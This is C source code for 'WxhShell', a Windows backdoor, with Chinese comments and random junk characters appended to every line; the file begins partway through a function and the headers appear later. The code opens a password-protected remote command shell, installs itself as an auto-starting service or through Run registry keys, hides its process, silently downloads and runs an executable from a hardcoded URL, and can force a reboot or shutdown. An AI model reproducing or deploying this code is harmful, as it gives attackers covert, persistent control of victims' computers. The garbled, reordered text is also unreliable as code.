    closesocket(wsh); wEzKqD  
    ExitThread(0); hYawU@R  
    } ve&zcSeb  
    break; ca+[0w@S  
    } DY[$"8Kxcp  
  // 获取shell 7FRmx 4(!  
  case 's': { a# c6[!   
    CmdShell(wsh); CbN!1E6).  
    closesocket(wsh); ~o n(3|$  
    ExitThread(0); bXS:x  
    break; ZJlEKib%2  
  } >[X{LI(_<<  
  // 退出 7Pa@1']  
  case 'x': { G7D2{J{1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N/GQt\tV<  
    CloseIt(wsh); ETB6f  
    break; Q X%&~  
    } < y*x]}  
  // 离开  6m6zA/  
  case 'q': { @)K%2Y`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cV`E>w=D0  
    closesocket(wsh); (ND4Q[*6  
    WSACleanup(); )#LpCM,a  
    exit(1); umdG(osR  
    break; 5O`dO9g}$  
        } Q[#vTB$f  
  } r7Ya\0gU  
  } Wa?; ^T  
, lJ  v  
  // 提示信息 X6^},C'E.:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ApjOj/  
} 5Vi> %5A>l  
  } O iFS}p  
pJ ?~fp  
  return; d[;.r  
} }6 K^`!  
not YeY7wR  
// shell模块句柄 ;>mCalwj  
int CmdShell(SOCKET sock) =w$}m_AM  
{ D$JHs4  
STARTUPINFO si; B4]`-mahO  
ZeroMemory(&si,sizeof(si)); asC_$tsMe  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l9M0cZ,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?ByM[E$  
PROCESS_INFORMATION ProcessInfo; Vrvic4  
char cmdline[]="cmd"; n6k9~"?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oP4GEr  
  return 0; 1nu^F,M  
} TXZv2P9  
)Jv[xY~  
// 自身启动模式 |c`w'W?C6  
int StartFromService(void) 5pn)yk~  
{ ,()0' h}n  
typedef struct K!KMQr`  
{ @}:uu$OH  
  DWORD ExitStatus; 4WB-Ec  
  DWORD PebBaseAddress; )TmHhNo  
  DWORD AffinityMask; ~0b O}  
  DWORD BasePriority; }=!,o  
  ULONG UniqueProcessId; #h@J=Ki  
  ULONG InheritedFromUniqueProcessId; `N5|Ho*C  
}   PROCESS_BASIC_INFORMATION; r `eU~7  
72veLB  
PROCNTQSIP NtQueryInformationProcess; U!m @DJj  
wRrnniqf8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vaon{2/I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $mCarFV-T  
@ps1Dr4s  
  HANDLE             hProcess; MJ=)v]a  
  PROCESS_BASIC_INFORMATION pbi; !|<=ZF2  
Ks\ NE=;5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 95<EN (oUD  
  if(NULL == hInst ) return 0; *]i!fzI']  
\qUKP"dr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0dh=fcb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VS&TA>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `f'K@  
1[ ]&(Pa  
  if (!NtQueryInformationProcess) return 0; mYU9 trHV  
[NFNzwUB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a[2vjFf#C  
  if(!hProcess) return 0; |T{C,"9y  
>s`J5I!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &x > B  
!cGDy/ |  
  CloseHandle(hProcess); 2c/Ys4/H4]  
|7#[ (%D!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?3O9eZY@  
if(hProcess==NULL) return 0; G7=p Bf  
[le)P$#z  
HMODULE hMod; i>[_r,-\[  
char procName[255]; V#jWege  
unsigned long cbNeeded; ?h!i0Rsm  
]QuM<ms  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +D1d=4  
}^(}HBT  
  CloseHandle(hProcess); 4 QZ?}iz  
w}{5#   
if(strstr(procName,"services")) return 1; // 以服务启动 3/#:~a9Q  
]x&u`$F  
  return 0; // 注册表启动 \u&_sBLKV  
} z]3 `*/B  
IG3,XW  
// 主模块 Z`&4SH=j  
int StartWxhshell(LPSTR lpCmdLine) r &Ca" dI  
{ L}m8AAkP[  
  SOCKET wsl; 45&8weXO:'  
BOOL val=TRUE; n8hRaNHl2  
  int port=0; +I>p !v  
  struct sockaddr_in door; .`CZUKG  
sK=0Np=`  
  if(wscfg.ws_autoins) Install(); A6oq.I0  
r 6eb}z!i  
port=atoi(lpCmdLine); LB/C-n.`  
N0>0z]4;q  
if(port<=0) port=wscfg.ws_port; 0 'Vg6E]/  
Ys8SDlMo  
  WSADATA data; %{;Qls%[t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rfw-^`&{  
*MI*Rz?4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y&_m 4Zw"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4Z*U}w)  
  door.sin_family = AF_INET; r ]>\~&?^F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); na^sBq?\  
  door.sin_port = htons(port); 3gQPKBpc  
_73h<|0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^h &I H|  
closesocket(wsl); aiCn"j  
return 1; B cj/y4"  
} d1joVUYE  
u =gt<1U  
  if(listen(wsl,2) == INVALID_SOCKET) { g+PPW88P;  
closesocket(wsl); )IT6vU"-yd  
return 1; LEECW_:  
} xLZd!>C  
  Wxhshell(wsl); %PJhy2  
  WSACleanup(); s/Xb^XjS1  
7< 9L?F2  
return 0; m+ itno  
H6aM&r9}  
} Q)af|GW$  
yg]2erR  
// 以NT服务方式启动 fE,9zUo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0@Kkl$O>mb  
{ sCl$f7"  
DWORD   status = 0; 4e9q`~ sO  
  DWORD   specificError = 0xfffffff; 9N[EZhW  
3z;_KmM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X5g[ :QKP7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; djT5 X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,)~E>[=+  
  serviceStatus.dwWin32ExitCode     = 0; T@^]i&  
  serviceStatus.dwServiceSpecificExitCode = 0; dV8iwI  
  serviceStatus.dwCheckPoint       = 0; ^;F{)bmu+)  
  serviceStatus.dwWaitHint       = 0; }jF+`!*!  
8cHE[I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q;AT>" =)  
  if (hServiceStatusHandle==0) return; 5+X_4lEJK(  
;LJ3c7$@lf  
status = GetLastError(); wHsB,2H  
  if (status!=NO_ERROR) `Iy4=nVb  
{ /&ygiH{^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?a/n<V '  
    serviceStatus.dwCheckPoint       = 0; :u%$0p>  
    serviceStatus.dwWaitHint       = 0; ,ZI\dtl  
    serviceStatus.dwWin32ExitCode     = status; GO5~!g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;BH>3VK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EEf ]u7  
    return; nv5u%B^  
  } L&Qi@D0P  
e&X>F"z2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (&&87(  
  serviceStatus.dwCheckPoint       = 0; +lO'wa7|3  
  serviceStatus.dwWaitHint       = 0; 0o&}mKe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EH`0  
} f1+qXMs  
m$y]Lf  
// 处理NT服务事件,比如:启动、停止 >R,?hWT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #w3ru6*W  
{ :_d3//|  
switch(fdwControl) Na!za'qk[o  
{ [^PCm Z6n  
case SERVICE_CONTROL_STOP: 4?]oV%aP)  
  serviceStatus.dwWin32ExitCode = 0; +AQDD4bu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,J9}.}Hd  
  serviceStatus.dwCheckPoint   = 0; DacJ,in_I{  
  serviceStatus.dwWaitHint     = 0; E;-qP)yU  
  { ,9/5T:2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #7z|mVzH  
  } V; 9 }7mw  
  return; ? J|4l[x  
case SERVICE_CONTROL_PAUSE: ~LE[, I:q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~mILA->F  
  break; ~oi_r8 K  
case SERVICE_CONTROL_CONTINUE: -2NwF4VL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A'eAu  
  break; Da,&+fZI!  
case SERVICE_CONTROL_INTERROGATE: B/YcSEY;  
  break; \K`jCsT  
}; {Jx7_T&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  t9*=  
} M9V-$ _)  
<NQyP{p  
// 标准应用程序主函数 ujx-jIhT_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ v1W  
{ R# 6H'TVE  
 ~u/@rqF  
// 获取操作系统版本 G\/IM  
OsIsNt=GetOsVer(); k46gY7y,9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QAaF@Do  
dF2@q@\.+  
  // 从命令行安装 k&DGJ5m$.  
  if(strpbrk(lpCmdLine,"iI")) Install(); F X 1C e  
iB{xvyR  
  // 下载执行文件 :_c*m@=z(  
if(wscfg.ws_downexe) { W'G{K\(/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LkaG[^tfN  
  WinExec(wscfg.ws_filenam,SW_HIDE); |e"/Mf[  
} y"R("j $  
k|ip?O  
if(!OsIsNt) { T 'i~_R6  
// 如果时win9x,隐藏进程并且设置为注册表启动 6e:P.HqjA  
HideProc();  oWrE2U;  
StartWxhshell(lpCmdLine); k.>6nho`TV  
} Kfd_uXL>  
else =L16hDk o  
  if(StartFromService()) y$h"ty{g  
  // 以服务方式启动 {jG.=}/Dk  
  StartServiceCtrlDispatcher(DispatchTable); !c_u-&b)  
else x)\V lR  
  // 普通方式启动 afy/K'~  
  StartWxhshell(lpCmdLine); g$gS7!u,  
Z%;)@0~f  
return 0; Gx;xj0-"  
} =f4< ({9  
tWRf'n[+]  
B<C&ay  
M4H"].Zm  
=========================================== {0fz9"|U  
CjmV+%b4  
iRouLd  
mLULd}g/o  
l<n5gfJ  
sr4jQo  
" ,$PFI(Whk  
 9^p32G  
#include <stdio.h> }Qb';-+;d  
#include <string.h> )8bFGX7|  
#include <windows.h> F1\`l{B,\  
#include <winsock2.h> 4D GY6PS  
#include <winsvc.h> 3~:0?Zuq  
#include <urlmon.h> ,y%ziay  
~r PYJ  
#pragma comment (lib, "Ws2_32.lib") k~R{Y~W!!  
#pragma comment (lib, "urlmon.lib") V 1*Ad  
a0{[P$$  
#define MAX_USER   100 // 最大客户端连接数 ki`8(u6l  
#define BUF_SOCK   200 // sock buffer y]<#%Fh  
#define KEY_BUFF   255 // 输入 buffer yT&x`3f"i  
*3P3M}3~\  
#define REBOOT     0   // 重启  2aFT<T0  
#define SHUTDOWN   1   // 关机 ~JAjr(G#o  
2Gm-\o&Td"  
#define DEF_PORT   5000 // 监听端口 KS?mw`Nr  
OWZS3Y+  
#define REG_LEN     16   // 注册表键长度 (Hl8U  
#define SVC_LEN     80   // NT服务名长度 >6IXuq  
hR!}u}ECd  
// 从dll定义API _/ct=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8.[&wy U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5St`@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5Yn{?r\#F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3;y_qwA  
fEB195#@9  
// wxhshell配置信息 xv^Sh}\}  
struct WSCFG {  gm(De9u  
  int ws_port;         // 监听端口 #UBB lE#  
  char ws_passstr[REG_LEN]; // 口令 (*MNox?w  
  int ws_autoins;       // 安装标记, 1=yes 0=no [gpOu TW  
  char ws_regname[REG_LEN]; // 注册表键名 O@nqHZ  
  char ws_svcname[REG_LEN]; // 服务名 Q!YF!WoBX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H_Iim[v#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I/Sv"X6E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gxI&f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .N/GfR`0/<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^p$1D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <b6s&"%=  
*wV iH  
}; @+iC/  
bo&\3  
// default Wxhshell configuration &S<? 07Z  
struct WSCFG wscfg={DEF_PORT, `'*F 1F  
    "xuhuanlingzhe", c[&d @  
    1, *e%Dg{_  
    "Wxhshell", o>0O@NE  
    "Wxhshell", Z "-ntx#  
            "WxhShell Service", UHr {  
    "Wrsky Windows CmdShell Service", mPckf  
    "Please Input Your Password: ", ,>&?ty9o  
  1, f9vcf# 2  
  "http://www.wrsky.com/wxhshell.exe", 9!5b2!JL  
  "Wxhshell.exe" $< A8gTJ  
    }; #!w:_T%  
^OsA+Ea\  
// 消息定义模块 >sn"   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :-$cdZ3E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )!N2'Ld  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q.r B\8ea  
char *msg_ws_ext="\n\rExit."; ^a086n  
char *msg_ws_end="\n\rQuit."; >BJ2v=R A  
char *msg_ws_boot="\n\rReboot..."; 2^cAK t6bC  
char *msg_ws_poff="\n\rShutdown..."; w/qQ(]n8  
char *msg_ws_down="\n\rSave to "; '&RZ3@}+  
BXT 80a\  
char *msg_ws_err="\n\rErr!"; tU9rCL:P  
char *msg_ws_ok="\n\rOK!"; #x, ]D  
X QI.0L"  
char ExeFile[MAX_PATH]; L v  
int nUser = 0; 7J0 ^N7"o  
HANDLE handles[MAX_USER]; M7`UoTc+>d  
int OsIsNt; v>JB rIb$  
E^oEG4 X@  
SERVICE_STATUS       serviceStatus; &W&7bZ$;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H%*~l  
[P.@1mV  
// 函数声明 {fAh@:{@  
int Install(void); + #|'|}j  
int Uninstall(void); 6$W-?  
int DownloadFile(char *sURL, SOCKET wsh); d [\>'>  
int Boot(int flag); B(S5+Y  
void HideProc(void); WpZy](,  
int GetOsVer(void); RA*_&Ll&!C  
int Wxhshell(SOCKET wsl); F@>w&A ~K  
void TalkWithClient(void *cs); 7yY1dR<Y  
int CmdShell(SOCKET sock); ZrmnQ  
int StartFromService(void); F7k4C2r  
int StartWxhshell(LPSTR lpCmdLine); $-C6pZN(X  
bl(BA}<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~0VwF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PiIp<fJd$  
[,\'V0  
// 数据结构和表定义 <wIp$F.  
SERVICE_TABLE_ENTRY DispatchTable[] = R*JOiVAC  
{ 7VEt4  
{wscfg.ws_svcname, NTServiceMain}, 27h/6i3  
{NULL, NULL} sW>P-  
}; 5*G8W\ $  
Pur"9jHa4  
// 自我安装 }M"-5K}  
int Install(void) Mft0D j/  
{ [15hci+-  
  char svExeFile[MAX_PATH]; i~v@  
  HKEY key; kw*Cr/'*  
  strcpy(svExeFile,ExeFile); {GGO')p  
:ofE8]  
// 如果是win9x系统,修改注册表设为自启动 Vp- n(Z  
if(!OsIsNt) { %xH>0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u;l6sdo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1CF7  
  RegCloseKey(key); Nlf&]^4(0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aT`02X   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^)eessZ  
  RegCloseKey(key); EkfGw/WDw  
  return 0; ByB0>G''.  
    } %k1q4qOG]^  
  } .@x"JI> ;  
} erAZG)  
else { S7\|/h:4  
Oy?iAQ+  
// 如果是NT以上系统,安装为系统服务 AW{/k'%xw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -\sKSY5{R  
if (schSCManager!=0) CwCo"%E8}  
{ I?:+~q}lZr  
  SC_HANDLE schService = CreateService nKZRq&~^E  
  ( Is,*qrl :  
  schSCManager, S+e-b'++?  
  wscfg.ws_svcname, j*3sjOoC  
  wscfg.ws_svcdisp, V)@nRJg  
  SERVICE_ALL_ACCESS, %_i0go,^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;4O;74`Zh  
  SERVICE_AUTO_START, =t>`< T|(  
  SERVICE_ERROR_NORMAL, -*]9Ma<wa  
  svExeFile, Z{R=h7P  
  NULL, @Tj  6!v  
  NULL, FdK R{dX}  
  NULL, H$($l<G9C  
  NULL, hc4`'r;  
  NULL 8xGkh?%  
  ); :h](;W>H  
  if (schService!=0) jy)9EU=  
  { jAQ)3ON<  
  CloseServiceHandle(schService); brhJ&|QDE  
  CloseServiceHandle(schSCManager); >f9]Nj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `A}{ I}xq  
  strcat(svExeFile,wscfg.ws_svcname); qLktMp_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KG./<"c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1>O0Iu  
  RegCloseKey(key); YJtOdgG|q  
  return 0; n6-!@RYr  
    } 4VL!U?dk  
  } FL_ arhrqD  
  CloseServiceHandle(schSCManager); CB7R{~ $  
} =S?-=jPtg  
} mrB hvp""  
P^{`d_[K%  
return 1; I$P7%}  
} g5TLX &Bd  
E(K$|k_>  
// 自我卸载 {10+(Vl  
int Uninstall(void) -B++V  
{ F@*r%[S/  
  HKEY key; u/{_0-+P  
9?mOLDu}Q0  
if(!OsIsNt) { M`g Kt (3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w}KcLaI  
  RegDeleteValue(key,wscfg.ws_regname); 0i1?S6]d-  
  RegCloseKey(key); xN~<<PIZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oFx gR9  
  RegDeleteValue(key,wscfg.ws_regname); # JT%]!  
  RegCloseKey(key); u*YuU%H=  
  return 0; q|Tk+JH{5  
  } 5D@Q1   
} c\?/^xr'!}  
} oGjYCVc  
else { }&^bR)=  
gZuR4Ti  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }t{^*(  
if (schSCManager!=0) i3\oy`GJ  
{ JL*]9$o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dl!'_u  
  if (schService!=0) ^|axtVhMO  
  { \VzQ1B>k  
  if(DeleteService(schService)!=0) { X=7vUb,\gB  
  CloseServiceHandle(schService); :zTj"P>"I  
  CloseServiceHandle(schSCManager); +/^q"/f F  
  return 0; JSP8Lu"n  
  } @!tmUme1c  
  CloseServiceHandle(schService); S)1:*>@  
  } W;j)ux7jMY  
  CloseServiceHandle(schSCManager); iDe0 5f1R  
} 2yg'?tpj  
} )FiU1E  
p~y 4q4  
return 1; WxI]Fcb<  
} o`]FH _  
206jeH9  
// 从指定url下载文件 Kd21:|!t^  
int DownloadFile(char *sURL, SOCKET wsh) h!3Z%M  
{ S`PSFetC  
  HRESULT hr; W5yu`Br  
char seps[]= "/"; -x5bdC(d  
char *token; z^a?t<+  
char *file; Pg}G4L?H;J  
char myURL[MAX_PATH]; Rf$6}F  
char myFILE[MAX_PATH]; /60=N `i  
w9}IM149  
strcpy(myURL,sURL); AZP>\Dq  
  token=strtok(myURL,seps); 2{qG  
  while(token!=NULL) h*'5h!  
  { ^Rh~+  
    file=token; J*k=|+[  
  token=strtok(NULL,seps); Vc<n6  
  } `t"Kq+  
,l"2MXD  
GetCurrentDirectory(MAX_PATH,myFILE); T7X2$ '  
strcat(myFILE, "\\");  D -EM  
strcat(myFILE, file); 7q=xW6  
  send(wsh,myFILE,strlen(myFILE),0); >}tG^)os  
send(wsh,"...",3,0); -i gZU>0B_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T+( A7Qrx%  
  if(hr==S_OK) >sY+Y22U  
return 0; TW? MS em  
else ;0{*V5A  
return 1; 2o}FB\4^i  
X~b+LG/  
} ,o6:  V]a  
JB}h }nb  
// 系统电源模块 5Uz(Bi  
int Boot(int flag) 61 |xv_/  
{ e6a8ad  
  HANDLE hToken; "Vy\- ^  
  TOKEN_PRIVILEGES tkp; 7t/SZm  
|EA1+I.&x  
  if(OsIsNt) { jl7-"V>j?;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %8}w!2D S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XAkl,Y  
    tkp.PrivilegeCount = 1; q|\Cp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CKx}.<_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C*zdHzMj  
if(flag==REBOOT) { 6f1Y:qK'@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) < ,n4|z)  
  return 0; Ue%5 :Sdr  
} j R:Fih-}  
else { QJ'C?hn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4\iQ%fb  
  return 0; $x0F(|wxt  
} w Nnb@  
  } R'U(]&e.j  
  else { =uEhxs j)S  
if(flag==REBOOT) { 3 Q;l*xu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s4*,ocyBP  
  return 0; %UhF=C  
} YTA  &G  
else { jiDYPYx;I  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qmn5-yiw1d  
  return 0; ^%.<(:k[L  
}  su$juI{  
} X+ jSB,  
+g&W423k_  
return 1; xR3A4m  
} 4kEFbzwx  
64cmv}d_  
// win9x进程隐藏模块 )k Uw,F=6  
void HideProc(void) x~.U,,1  
{ ^W*/!q7H  
Zx{'S3W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =T`-h"E~@  
  if ( hKernel != NULL ) R _%pR_\  
  { /zM7G?y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,\ i q'}i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AseY.0  
    FreeLibrary(hKernel); kp|reKM/  
  } 7Fx8&Z  
OZD/t(4?6s  
return; hb{(r@[WHv  
} {lA@I*_lj  
l/5/|UE9  
// 获取操作系统版本 &}ow-u9c3  
int GetOsVer(void) DDEn63{  
{ qA42f83  
  OSVERSIONINFO winfo; z&8#1'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o/xE O=AW  
  GetVersionEx(&winfo); ~F-,Q_|-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j!l(ReGb  
  return 1; C/JFg-r  
  else *!/9?M{p  
  return 0; //(c 1/s  
} 6=FuH@Q&  
~H.;pJ{ 8  
// 客户端句柄模块 x8^Dhpr6  
int Wxhshell(SOCKET wsl) e)M1$  
{ sgX~4W"J  
  SOCKET wsh; U"Y$7~  
  struct sockaddr_in client; PSE![whK  
  DWORD myID; ]5/C"  
;AaF;zPV  
  while(nUser<MAX_USER) b#F3,T__`Y  
{ [": x  
  int nSize=sizeof(client); )`)cB)s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AQ&;y&+QR  
  if(wsh==INVALID_SOCKET) return 1; +hfl.OBy  
eNNK;xXe#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p=zjJ~DVd  
if(handles[nUser]==0) O;w';}At  
  closesocket(wsh); <D__17W:;  
else >y?$aJ8ZV  
  nUser++; 5 Z@Q ^  
  } B`vV[w?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @!S5FOXipZ  
,T]okN5uI  
  return 0; V\ |b#?KL  
} 7}Gy%SJ`  
#q\C"N5ip  
// 关闭 socket =hA/;  
void CloseIt(SOCKET wsh) 7L!k9"X`0F  
{ vm(% u!_P  
closesocket(wsh); A 9u9d\  
nUser--; -kJ`gdS  
ExitThread(0); P6MT[  
} =0Nd\  
@~"0|,6VC  
// 客户端请求句柄 {h2D}F  
void TalkWithClient(void *cs) "G< ^@v9  
{ WPPmh~:  
ZY83, :<  
  SOCKET wsh=(SOCKET)cs; JLjx4B\  
  char pwd[SVC_LEN];  z=!xN5  
  char cmd[KEY_BUFF]; nF)|oA   
char chr[1]; :wIbKs.r  
int i,j; _ ZJP]5  
o/Z?/alt4  
  while (nUser < MAX_USER) {  3N;X|pa  
FsD}N k=m~  
if(wscfg.ws_passstr) { -Z  @cj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *b> ~L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pd>hd0!.%  
  //ZeroMemory(pwd,KEY_BUFF); 8tsW^y;S  
      i=0; r t f}4.  
  while(i<SVC_LEN) { K(hqDif*6  
Up8#Nz T  
  // 设置超时 :=-h'<D  
  fd_set FdRead; vrH/Z.WD  
  struct timeval TimeOut; n]|[|Rf1  
  FD_ZERO(&FdRead); &QvWT+]c'0  
  FD_SET(wsh,&FdRead); QH+Oi&xH  
  TimeOut.tv_sec=8; xK /NzVt  
  TimeOut.tv_usec=0; 'y@0P5[se  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q")}vN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x6m21DWw  
=*}|y;I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NKO5c?ds  
  pwd=chr[0]; CB|Z~_Bm  
  if(chr[0]==0xd || chr[0]==0xa) { A07FjT5w8  
  pwd=0; {eS!cZJ  
  break; ;+cZS=  
  } 8hdd1lVKO8  
  i++; <wa}A!fu  
    } H"m^u6Cmy-  
hV_0f_Og  
  // 如果是非法用户,关闭 socket q_JES4ofx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f~9ADb  
} Y!}BmRLh2  
]^R;3kU4Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &vo]l~.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VDBP]LRF  
jrG@ +" }  
while(1) { flnoK%wi  
UfXqcyY(  
  ZeroMemory(cmd,KEY_BUFF); /=i^Bgh4  
[26"?};"%  
      // 自动支持客户端 telnet标准   7\<#z|  
  j=0; 3}2'PC  
  while(j<KEY_BUFF) { T-uI CMEf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D>PB|rS@  
  cmd[j]=chr[0]; c=h{^![$  
  if(chr[0]==0xa || chr[0]==0xd) { S+7>Y? B!  
  cmd[j]=0; NbSkauF~b  
  break; )Yy`$`  
  } [*Wq6n  
  j++; BNnGtVAbZ  
    } uv eTx  
==~X8k|{E  
  // 下载文件 {a\m0Bw/  
  if(strstr(cmd,"http://")) { [YLaR r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n'K,*  
  if(DownloadFile(cmd,wsh)) -$>R;L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,)[u<&  
  else r1}YN<+,s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lo5,E(7~h  
  } ~K5eO-  
  else { ]%!:'#  
l q~^&\_#  
    switch(cmd[0]) { nn5tOV}QE  
  qk<(iVUO  
  // 帮助 T8bk\\Od  
  case '?': { :<r.n "  
